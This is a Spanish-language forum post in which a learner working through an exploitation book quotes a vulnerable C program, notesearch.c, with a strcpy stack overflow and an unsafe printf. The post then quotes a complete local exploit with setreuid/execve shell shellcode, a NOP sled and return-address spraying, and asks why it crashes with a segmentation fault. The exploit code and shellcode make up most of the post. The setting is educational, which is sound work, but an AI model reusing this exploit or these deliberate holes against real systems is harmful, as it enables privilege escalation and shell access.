Hola chicos, vereis, estoy siguiendo los pasos de un libro y tengo un exploit que ataca a un programa. El exploit entiendo más o menos qué hace, cómo calcula la dirección de retorno para saltar a la shellcode y eso. Os pongo el código:
notesearch.c :
Código:
#include "hacking.h"
#define FILENAME "/var/notes"
int print_notes(int, int, char *);
int find_user_note(int, int);
int search_note(char *,char *);
void fatal(char *);
int main(int argc, char * argv[]){
int userid, printing=1, fd;
char searchstring[100];
if(argc>1)
strcpy(searchstring, argv[1]);
else
searchstring[0]=0;
userid=getuid();
fd=open(FILENAME,O_RDONLY);
while(printing)
printing=print_notes(fd, userid, searchstring);
printf("-------[final de la nota]-------\n");
close(fd);
}
int print_notes(int fd, int uid, char *searchstring){
int note_length;
char byte=0,note_buffer[100];
note_length=find_user_note(fd, uid);
if(note_length==-1)
return 0;
read(fd, note_buffer, note_length);
note_buffer[note_length]=0;
if(search_note(note_buffer,searchstring))
printf(note_buffer);
return 1;
}
int find_user_note(int fd, int uid){
int note_uid=-1;
unsigned char byte;
int length;
while(note_uid!=uid){
if(read(fd, ¬e_uid, 4)!=4)
return -1;
if(read(fd, &byte, 1)!=1) //Separador de nueva linea
return -1;
byte=length=0;
while(byte!='\n'){
if(read(fd, &byte, 1)!=1)
return -1;
length++;
}
}
lseek(fd, length*-1, SEEK_CUR); //Retrocede la lectura del archivo en la longitud de bytes
printf("[DEBUG] encontrado un %d byte note para el usuario %d\n", length, note_uid);
return length;
}
int search_note(char * note, char * keyword){
int i, keyword_length, match=0;
keyword_length=strlen(keyword);
if(keyword_length==0)
return 1;
for(i=0;i<strlen(note);i++){
if(note[i]==keyword[match])
match++;
else{
if(note[i]==keyword[0])
match=1;
else
match=0;
}
if(match==keyword_length)
return 1;
}
return 0;
}
Y el exploit es el siguiente (exploit_notesearch.c):
Código:
#include "hacking.h"
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]){
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command=(char *)malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer=command+strlen(command);
if(argc>1)
offset=atoi(argv[1]);
ret=(unsigned int)&i-offset;
for(i=0;i<160;i+=4)
*((unsigned int *)(buffer+i))=ret;
memset(buffer, 0x90, 60);
memcpy(buffer+60,shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command);
free(command);
}
Tengo una pregunta y un problema. La pregunta es que no entiendo como calcula ret, que se supone que es la dirección de salto hacia la shellcode, pero salta a una dirección que no coincide con la dirección donde se cargó en memoria la shellcode. De todas formas, estuve intentando analizarlo a fondo y creo que puede ser por la llamada a la función system, que es como llamar a un procedimiento y notesearch pasaría a ejecutarse "por encima" de la pila, de ahí que use la dirección de la variable i para calcular ret. ¿Me equivoco o voy bien encaminado?
El problema es que al ejecutar el exploit, en el libro dice que debería salir una shell tras ejecutar el programa notesearch, pero a mi me sale Segmentation fault y finaliza el programa. Estuve probando con offset distintos para el exploit, pero no entiendo muy bien eso del offfset. Si lo entendiera, podría intentar calcular nua estimación para ver dónde podría estar la shellcode. Gracias, un saludo.
Marcadores